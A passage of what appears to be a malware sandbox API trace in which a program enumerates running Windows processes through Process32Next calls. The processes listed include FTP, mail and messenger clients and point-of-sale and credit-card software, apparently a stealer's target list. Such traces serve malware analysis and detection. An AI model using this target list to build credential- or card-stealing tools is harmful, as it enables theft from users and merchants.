[0246.199] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0246.203] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0246.206] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0246.209] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0246.213] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0246.216] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0246.221] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0246.224] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0246.227] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0246.234] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0246.268] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0246.273] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0246.275] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0246.278] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0246.280] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0246.283] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0246.285] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0246.289] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0246.291] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0246.293] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0246.304] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0246.307] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0246.310] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0246.317] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0246.320] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0246.324] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0246.329] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0246.332] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0246.335] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0246.339] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0246.342] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0246.344] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0246.347] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0246.350] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0246.352] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0246.355] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0246.358] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0246.360] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0246.363] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0246.365] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0246.367] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0246.370] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.372] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0246.375] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.377] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0246.380] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0246.382] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0246.415] CloseHandle (hObject=0x2198) returned 1 [0246.416] Sleep (dwMilliseconds=0x64) [0246.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0246.437] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.439] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.442] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.445] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.448] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.451] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.453] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.456] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.459] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.461] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.464] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.466] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.469] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.471] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.474] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.476] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.479] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.481] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.484] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.487] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.489] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.492] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.494] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.497] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.499] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.502] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0246.504] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.507] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.510] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.513] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0246.515] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.518] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.521] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0246.523] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.527] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.530] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.532] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 